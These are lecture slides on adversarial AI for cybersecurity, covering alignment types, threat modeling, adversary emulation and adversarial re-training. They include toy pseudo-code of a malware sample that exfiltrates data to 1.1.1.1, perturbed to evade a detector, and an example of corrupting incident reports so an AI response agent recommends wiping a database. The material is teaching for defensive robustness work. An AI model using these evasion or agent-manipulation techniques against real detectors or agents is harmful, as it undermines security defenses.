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Today’s Learning Objectives

 Explain the difference between model finetuning and model alignment. 

 Identify the different types of misalignment prevalent in cybersecurity

 Understand the three core steps of adversarial AI for threat analysis. 
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From Week 1: AI4Cyber Lifecycle
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From Week 1: The Double-
Edged Sword
 AI itself is also a digital technology. 

 How “secure” AI systems are must also be considered.

 AI models often make mistakes by itself due to 
insufficient or incorrect training. 

 Difficult to detect during training and often require specific 
evaluation after developing the AI-enabled analytic 
(Operationalization Component). 

 Cybersecurity adds another layer. 
 Unlike other fields, cybersecurity include the adversary, 

who aims to purposely induce mistakes in cybersecurity 
systems. 

4



Operationalization: Threat Analysis

 The AI4Cyber lifecycle includes Threat 
Analysis as another way of operationalizing 
AI-enabled analytics. 

 Threat Analysis: Specialized stress testing of AI-
enabled analytics to proactively detect and fix 
flaws. 

 Evaluation techniques for threat analysis fall 
under the fields of AI alignment and 
Adversarial AI. 

 Can be manual or automated 
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AI Alignment

 AI Alignment is a field of 
research aiming to “align” 
AI systems with human 
values.

 Different from AI finetuning. 

 Determining how aligned 
an AI system is during 
development is difficult. 

 Evaluating and adjusting 
how the system behaves 
after development is easier. 
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AI Alignment

 AI alignment contains several types of alignment, each aligning AI systems 
with a different human value. 

 Each contain respective misalignments, or the behaviors we don’t want from AI systems.
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Applicable to 
ML, DL, and AAI 

systems

Applicable to 
DL and AAI 

systems

Focus of 
this class

National Institution for Standards and Technology’s AI Risk Management Framework 1.0 (NIST’s AI-RMF 1.0)

Aligned Value Description Example Misalignment

Validity AI outputs are accurate and correct A decision tree-based malware detector outputs many 
false positives by misclassifying benign files. 

Safety AI outputs do not cause harm or 
endangering humans

A code remediation agent generates code for malware 
files. 

Privacy AI systems do not unintentionally 
disclose private data

An AI phishing detector outputs private emails it saw 
during its training. 

Explainability How AI systems reach its decisions 
are easily understandable to users

An AI-based vulnerability scanner flags a critical patch as 
malware without explanation

Fairness AI systems do not unnecessarily 
discriminate against a group. 

An AI agent monitoring network traffic disproportionately 
prevents users from specific geographic regions



AI Alignment: Validity 
Alignment
 Validity alignment assures that an AI 

system functions accurately and precisely 
as intended for its specific use case. 

 Most fundamental type of AI alignment.

 Applicable to all types of AI-enabled 
analytics (ML, DL, and AAI).

 In turn, validity misalignment is the most 
prevalent of all misalignment types. 

 Validity misaligned AI4Cyber systems can 
severely compromise cybersecurity.
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AI Alignment: Validity Alignment

 Validity misalignment is more commonly known as deployment errors. 
 The deployment strategies discussed in week 5 (holdout datasets and case studies) can 

be considered as techniques to evaluate and discover validity misalignment. 

 Naturally occurring validity misalignment can be addressed by:
 Further finetuning until convergence
 Collecting more diverse datasets to train with
 Modifying training procedure or model design to avoid overfitting
 Implementing a human-in-the-loop or validity-checking system

 Validity misalignment induced by adversarial attacks can be addressed with 
Adversarial AI. 
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AI Alignment: Safety 
Alignment
 Safety alignment assures that an AI 

system is unable to cause harm or 
endanger human life, health, property, 
or the environment.

 More applicable to generative models 
and prescriptive AI-enabled analytics:

 Generative models can output unsafe 
content that enabled harmful activities. 

 Prescriptive analytics can recommend or 
even take actions that cause harm. 
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AI Alignment: Safety Alignment

 Safety misalignment is typically addressed with 
safeguards:

 Internal Safeguards: Methods or procedures 
implemented during development to assure the finished 
model is naturally safety aligned

 External Safeguards: Other models that evaluate 
inputs/outputs to mitigate safety misalignment in runtime. 

 Safeguards must also be constantly updated in 
response to newly-developed adversarial attacks. 

 External safeguards are more flexible to update and the 
favored methods for AI4Cyber threat analysis. 

 Adversarial AI is crucial for designing adversarially robust 
safeguards. 
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So, what is Adversarial AI?

 Can it really address the plethora of different adversarial attacks against AI 
systems?

 Adversarial AI is the field of machine learning that attacks AI systems to 
improve their robustness. 

 PenTesting discovers vulnerabilities via white-hat hackers attacking IT infrastructures 
(just like real hackers). 

 Adversarial AI discovers flaws via analysts attacking AI systems to induce misalignment 
(just like real adversaries).

 Given the inherently adversarial nature of cybersecurity, adversarial AI is 
crucial for the threat analysis of AI4Cyber systems. 
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Adversarial AI

 Adversarial AI consists of three core steps:
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Threat Modeling

 A threat model is how adversarial AI research systematically define the cyber 
attack being analyzed. 

 Threat model comprises of 4 components:
 Attacker Target: The AI system being attacked

 In the AI4Cyber lifecycle, this is typically the AI4Cyber system being operationalized.

 Attacker Goal: The misaligned state that the attacker is trying to induce in the target AI 
system.

 For this class, some degree of either validity or safety misalignment

 Attacker Knowledge: What information about the target AI system is available to the 
attacker?

 Attacker Capabilities: How the attack is (and is not) being implemented?
 Will typically define the attack surface (e.g., executable files, user prompts, emails)
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Threat Modeling: Different Boxes

 Attacker knowledge is defined at various levels:

15

Knowledge Level Description Example AI System Example Accessible Information
Binary Black-Box Attacker has access to only 

the detokenized, human-
readable outputs of the 
attacked system. 

DL-based 
Malware 
Detector

Only if the inputted file was 
classified as malicious or benign 

E.g., Benign or Malicious
Black-Box Attacker has access to only 

the outputs of the attacked 
system, including certain 
numeric outputs. 

The model’s predicted probabilities 
of each label

E.g., 0.42 Benign and 0.58 Malicious
Gray-Box Between black and white box 

access
Between black and white box 
access

White-Box Attacker has full access to 
the internal parameters and 
components of the attacked 
system. 

Values for model weights and 
parameters, model’s tokenizer, ALL 
intermediate outputs from model’s 
hidden layers, etc. 



Threat Modeling (Examples)

 Consider a DL-based malware file 
detector. 

 A potential threat might be hackers 
modifying their malware files to evade 
detection. 

 Potential Threat Model:
 Attacker Target: DL-based malware file 

detector
 Attacker Goal: Detection evasion 

(Validity Misalignment)
 Attacker Knowledge: Black-Box
 Attacker Capabilities: Editing malware 

files. 
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 Consider an AAI-based incidence 
response agent. 

 A potential threat might be an employee 
from within the company seeking to cause 
harm. 

 Potential Threat Model:
 Attacker Target: AAI-based incidence 

response agent
 Attacker Goal: Recommend plan with 

harmful actions (Safety Misalignment)
 Attacker Knowledge: Gray-Box. Can view 

internal weights and system prompts. 
 Attacker Capabilities: Forging incident 

reports. 



Threat Modeling: Existing Frameworks

 Many frameworks aim to standardize threat modeling. 

 MITRE’s Adversarial Threat Landscape for AI Systems (ATLAS) Matrix is the industry 
standard framework most applicable for AI4Cyber systems. 

 Another framework (MITRE ATT&CK) details cyberattacks on traditional IT systems. 

 The ATLAS Matrix outlines the entire timeline of an adversarial attack along 
two components:

 Tactics: What the adversary is trying to accomplish at that timestep

 Techniques: What the adversary is doing at that timestep
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Threat Modeling: Existing Frameworks
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 The ATLAS Matrix structures a more detailed threat model applicable across 
the entire timeline of the AI4Cyber lifecycle. 

 This class focuses on post-development threat modeling, so the four basic components 
(Target, Goal, Knowledge, and Capabilities) are sufficient. 

FULL MITRE ATLAS MATRIX

Reference: https://atlas.mitre.org/matrices/ATLAS-matrix
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Adversary Emulation

 With the threat modeled, we move to adversary emulation, or the execution of 
adversarial attacks based on the threat model. 

 Adversary emulation ultimately yields Adversarial Examples (AEs), or 
datapoints that successfully achieves the attacker goal. 

 The executed attack process depends on how the threat model defines the 
attacker capabilities. 
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Adversary Emulation: Perturbation-based 
Attacks
 Perturbation-based attacks start with normal datapoints and apply edits until 

a valid AE is created. 

 Attacker capabilities for perturbation-based attacks outlines: 
 Action Space: List of exact perturbations allowed. 
 Attack Size: How many perturbations are allowed for a single attack. 
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Action Space

• Noise Injection
• Blur
• Rotate
• Color Change
• Crop

atk_size = 3



Adversary Emulation: Perturbation-based 
Attacks (Example)
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 Threat Model:
 Attacker Target: DL-based malware file 

detector
 Attacker Goal: Detection evasion 

(Validity Misalignment)
 Attacker Knowledge: Black-Box
 Attacker Capabilities: Editing malware 

files by:
 Appending 100 random characters at the 

end of the malware
 Randomizing the signature
 Adding a random import statement
 Insert redundant code
 Attack Size: 4

void exploit_vulnerability() 
{    int key = 0xDEADCODE;    

for (int i=0; i<100; i++) {}    
send_exfiltrated_data("1.1
.1.1", key);}string signature 

= "MD5:a3c2b1e0f4";

void exploit_vulnerability() {    int key = 
0xDEADCODE; printf(“hello”); for (int i=0; 

i<100; i++) {} 
send_exfiltrated_data("1.1.1.1", key);}string 

signature = "SHA256:f7b9c1d"; import 
random_math_functions;...xS9t#p!c#i0us...
d_e*t*e%c*t*e*d...m_a_i_n...da*t*ab#a*s

_e...v@r...

Malicious Benign

Normal Malware File Perturbed Malware File

Aligned, 
Correct 
Output

Misaligned, 
Incorrect 

Output

Targeted DL-based 
Malware File 

Detector



Adversary Emulation: Perturbation-based 
Attacks (Example)
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 Threat Model:
 Attacker Target: AAI-based incidence 

response system
 Attacker Goal: Recommend plan with 

harmful actions (Safety Misalignment)
 Attacker Knowledge: Gray-Box. Can 

view internal weights and system 
prompts. 

 Attacker Capabilities: Editing incident 
reports by:

 Inserting a random character
 Deleting a random character
 Capitalizing a random character
 Attack Size: 100

Suspicious activity 
detected on the main 
database server. The 

system shows unexpected 
administrative login 

attempts. The source IP is 
from a external network. 
Immediate investigation 

required.

S#u5p!c#i0us a&cti^v*ity de#te&cted 
o#n th&e m_a_i_n da*t*ab#a*s_e 

ser^ve@r. The syst%e_m s_ho_w_s 
une@x^pe_ct%e*d 

a_d_min!istr^at!!iv&e log!in atte#mpts. 
The sou_r*c*e I@P is f#r@om a 

ext@er^nal n_etw^or^k. Im%med#i_ate 
inv^es!ti%ga^t@i^o_n r^e_qu_ir^e_d.

Recommend 
blocking of external 
source IP to prevent 
further connection 

Recommend 
shutting off and 

wiping database to 
prevent data leak

Normal Incident 
Report 

Perturbed Incident 
Report 

Aligned, 
Safe 

Output

Misaligned, 
Unsafe 
Output

Targeted AAI-
based Incidence 

Response System



Adversary Emulation: Generative Attacks

 Generative attacks start from scratch or with noise to generate a novel AE. 

 Attacker capabilities for generative attacks typically define what a “valid” 
generated output is (AE Validation).
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Random 
Noise

Initial 
Prompt

or

Generative 
Attack Model

Generated AE AE Validation 
Checklist

❑ Has Sign?
❑ Has 

Background?
❑ Sign is variant 

of a speed limit 
sign?

✗



Adversary Emulation: Generative Attacks 
(Example)
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 Threat Model:
 Attacker Target: DL-based 

malware file detector
 Attacker Goal: Detection 

evasion (Validity 
Misalignment)

 Attacker Knowledge: Black-
Box

 Attacker Capabilities: 
Generate malware files that:

 Has print statement
 Exfiltrates to 1.1.1.1
 Signature is SHA256-based

void exploit_vulnerability() {    int key 
= 0xDEADCODE; printf(“hello”); for 

(int i=0; i<100; i++) {} 
send_exfiltrated_data("1.1.1.1", 

key);}string signature = 
"SHA256:f7b9c1d"; import 
random_math_functions;

Benign

Model Input

Generated Malware File

Targeted DL-based 
Malware File 

Detector

Generative 
Attack Model

Generate a 
malware file

Valid AE

AE Validation 
Checklist

❑ Has print 
statement

❑ Exfiltrates 
to 1.1.1.1

❑ Signature is 
SHA256-
based

Misaligned, 
Incorrect 

Output



Adversary Emulation: Mixed Attacks

 An attack process can involve elements of both perturbation-based and 
generative attacks. 

 Attacker capabilities for mixed attacks define the action space, attack size, and sample 
validation. 

 Mixed attacks are often perturbation-based attacks with generative 
perturbations. For example:

 Instead of random noise added to images, a model generates the noise being added. 

 Instead of appending random characters to the end of malware files, we append a 
generated sequence of characters. 

25



Adversary Emulation: Optimization

 Both types of attack processes initially start as unoptimized. 
 Perturbation-based attacks randomly select N perturbations from the action space. 
 Generative attacks generate AEs with the pre-trained parameters of the generative 

model. 

 Executing unoptimized attack processes results in large amounts failed AEs 
that do not achieve the attacker goal.

 Failed AEs do not provide insight on potential vulnerabilities and are not valuable for 
threat analysis.

 Require extensive postprocessing to filter out failed AEs and retain only valid AEs.  

 To efficiently generate valid AEs, attack processes can be optimized via 
manual or automated techniques
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Adversary Emulation: 
Manual Optimization
 The easiest optimization technique to 

implement is with manual effort. 
 Typically done via human red-teaming, where 

humans create effective AEs within the 
constraints of the threat model. 

 Recall from Week 1: The MLSec 
Competition at DefCon 2020. 

 Participants chose the most effective 
perturbations for evasive malware files. 

 Manual optimization yields small datasets 
of high-quality AEs. 

 The MLSec Competition only involved 50 
malware files but yield valuable insight. 
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Attacker 
Knowledge

Constraints on 
Optimization

Perturbation-
based Attack with 

Malware Files



Adversary Emulation: 
Automated Optimization
 Adversarial AI builds a separate AI-enabled 

analytic that is optimized for adversary 
emulation. 

 Typically via prescriptive analytics (AAI) that 
prescribe effective attacks. 

 AAI-based adversary emulation methods aim 
to maximize the degree of fulfillment of the 
attacker goal.

 Recall: AAI systems aim to minimize the degree 
of “mistake” with their evaluator agents. 

 The “mistake” for adversary emulation are those 
failed AEs. 
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Example AAI System Example Evaluator Agent
AAI Incident Planner

Input: Incident Report
Output: Response Plan

Given the incident report 
and generated response 
plan, explain the key 
mistakes made by the agent

Attacker Goal Example Evaluator Agent
Validity Misalignment

Outputted AE: 
Adversarial Incident 
Reports

Given the generated incident 
report and resulting 
response plan, explain how 
the agent fail to trigger an 
incorrect response plan.  

Safety Misalignment

Outputted AE: 
Adversarial Incident 
Reports

Given the generated incident 
report and resulting 
response plan, explain how 
the agent fail to result in a 
response plan with 
unnecessary infrastructure 
shutdowns.  



Model Robustification

 With a dataset of valid AEs from adversary emulation, the final step of threat 
analysis is model robustification. 

 Model Robustification: Improving the targeted AI system to be more resilient to the 
emulated attack(s) based on the obtained AEs.

 Model robustification can be also be done with manual efforts. For example:
 Cyber analyst creates new nodes for a Decision Tree-based phishing email detector. 
 AI engineer updates the skills or system prompt of an OpenClaw-based malware 

detection agent. 

 However, robustification with manual effort is difficult for models with more 
complicated parameters. 

 How would you adjust the weights of a DL model to be more robust against your AEs?
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Model Robustification: Adversarial Re-
Training
 Recall from Week 3: Task adaptation, where additional training data is used 

to allow PLMs to perform effectively on specific tasks. 
 Consider: What if the new task is to “be robust against a specific attack?”

 Adversarial re-training further finetunes the targeted DL models with AEs. 
 The DL-based model was “pretrained” during development (even if it was finetuning an 

already pretrained model). 
 The labeled, re-training dataset consists of 

 Input: Valid AEs from adversary emulation
 Label: What the DL model should have outputted (the aligned model output). 

 Adversarial re-training can directly leverage most supervised finetuning 
techniques (standard loss functions, PEFT, LoRA, etc.). 
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Post-ProcessingAttack Process

Robustification

Dataset of 
Only Valid AEs

Model Robustification (Example)
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void exploit_vulnerability() {int key = 
0xDEADCODE; 

send_exfiltrated_data("1.1.1.1", 
key);} string signature = 

"MD5:a3c2b1e0f4";
...xS9t#p!c#i0us...d_e*t*e%c*t*e*
d...m_a_i_n...da*t*ab#a*s_e...v@r..

Targeted Malware 
Detector

Generative 
Attack Model

Generate a 
malware file

AE Validation 
Checklist

❑ Random 
characters at the 
end of the file?

❑ Achieves 
Attacker Goal?

Dataset of Valid 
and Invalid AEs

Labeled 
Dataset

Malware

Malware

Malware

Malware

Original Malware 
Detector

Robust Malware 
Detector

1 2

3
 Threat Model (Simplified):

 Attacker Target: DL-based malware file detector
 Attacker Goal: Detection evasion (Validity 

Misalignment)
 Attacker Capabilities: Must have random 

characters at the end of the file



Review Questions

 Why is threat analysis important for AI4Cyber systems?

 How is model alignment different from model finetuning? How are they 
related?

 What are the three core steps of adversarial AI for threat analysis?

 Explain the different levels of attacker knowledge. What is the difference 
between binary black box and black box attacks?

 Why is generating a dataset of only valid AEs important for model 
robustification?

32



Next Week
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